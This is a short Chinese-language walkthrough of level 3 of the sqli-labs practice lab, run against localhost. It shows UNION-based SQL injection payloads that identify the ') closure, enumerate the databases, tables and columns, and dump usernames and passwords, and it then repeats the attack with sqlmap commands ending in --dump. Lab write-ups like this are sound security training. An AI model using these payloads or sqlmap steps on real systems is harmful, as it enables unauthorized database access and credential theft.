sqli-labs(第三关)
前言:
今天做第三关。
正文:
进入第三关页面:

(1)看注入点,判断注入类型。
?id=1' #报错
?id=1'' #不报错
说明是字符型,注入点为id
(2)找列
?id=1' order by 3 --+
这个时候发现报错了。

有问题,我看别人的payload,是我的闭合方式错了,系统提示的地方有一个 ') 这个就是闭合方式。
You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to
use near 'order by 3 -- ') LIMIT 0,1' at line 1
那么好,把单引号闭合方式换成 ')
再试一下:
?id=-1') order by 2 --+
?id=-1') order by 3 --+
?id=-1') order by 4 --+

(3)找数据库名字
?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata--+

(4)查数据库中的表的名字
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

(5)查users表
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

(6)查users表中的值
?id=-1') union select 1,group_concat(username),group_concat(password) from security.users--+

下面用SQLMAP跑一遍:
sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-3/?id=1

sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-3/?id=1 --dbs

sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-3/?id=1 -D security --tables

sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-3/?id=1 -D security -T users --column

sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-3/?id=1 -D security -T users -C id,password ,username --dump

哈哈哈,结束!!!
